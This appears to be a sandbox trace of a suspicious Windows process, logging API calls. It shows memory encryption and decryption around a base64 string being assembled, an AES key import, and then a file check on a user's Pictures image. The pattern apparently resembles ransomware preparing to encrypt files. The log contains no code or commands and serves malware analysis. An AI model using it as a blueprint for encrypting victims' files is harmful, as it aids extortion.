[0249.342] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0249.342] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.342] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0249.342] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.343] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0249.343] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0249.343] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.343] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0249.344] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.344] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0249.344] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0249.344] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.345] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0249.345] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.345] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0249.345] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0249.345] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.346] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0249.346] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.346] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0249.346] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0249.346] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.347] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0249.347] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.347] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0249.348] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0249.348] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0249.349] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0249.349] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.349] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0249.349] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.350] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0249.350] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0249.350] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.350] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0249.350] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.351] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0249.351] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0249.351] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.351] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0249.351] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.352] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0249.352] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0249.352] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.352] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0249.353] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0249.353] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0249.353] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.354] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0249.354] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0249.354] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0249.354] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.355] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0249.355] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0249.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0249.355] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.358] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0249.358] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0249.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0249.358] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.359] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0249.359] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0249.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0249.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0249.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0249.360] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.361] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0249.361] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0249.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0249.361] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.361] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0249.361] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0249.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0249.362] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.362] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0249.362] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0249.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0249.363] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.363] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0249.363] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0249.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0249.363] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.364] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0249.364] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0249.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0249.364] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.364] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0249.364] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0249.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0249.365] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0249.365] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0249.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0249.366] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.366] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0249.366] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0249.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0249.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0249.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0249.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0249.367] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.367] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0249.367] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0249.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0249.368] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.368] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0249.368] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0249.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0249.368] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.368] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0249.368] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0249.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0249.369] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.369] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0249.369] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0249.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0249.369] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.369] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0249.369] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0249.370] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0249.370] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.370] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0249.370] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.370] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0249.370] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0249.370] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.370] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0249.370] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.382] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0249.382] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0249.382] SystemFunction041 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.383] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0249.383] SystemFunction040 (in: Memory=0x3af294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af294) returned 0x0 [0249.383] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0249.384] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0249.384] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0249.384] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0249.384] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0249.384] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0249.385] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0249.385] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0249.385] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0249.385] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0249.385] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0249.385] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0249.385] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0249.385] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0249.385] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0249.385] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0249.385] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0249.386] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0249.386] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0249.386] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0249.386] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0249.386] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0249.512] EtwEventActivityIdControl () returned 0x0 [0249.514] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0249.514] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0249.514] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0249.514] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0249.517] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d298) returned 1 [0249.520] CryptImportKey (in: hProv=0x5c4d298, pbData=0x23bc6fc*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99b20) returned 1 [0249.520] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.521] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.522] EtwEventActivityIdControl () returned 0x0 [0249.522] EtwEventActivityIdControl () returned 0x0 [0249.522] EtwEventActivityIdControl () returned 0x0 [0249.531] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gM5d9KgElxbt.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\gm5d9kgelxbt.png")) returned 0x20 [0249.533] GetFileAttributesW 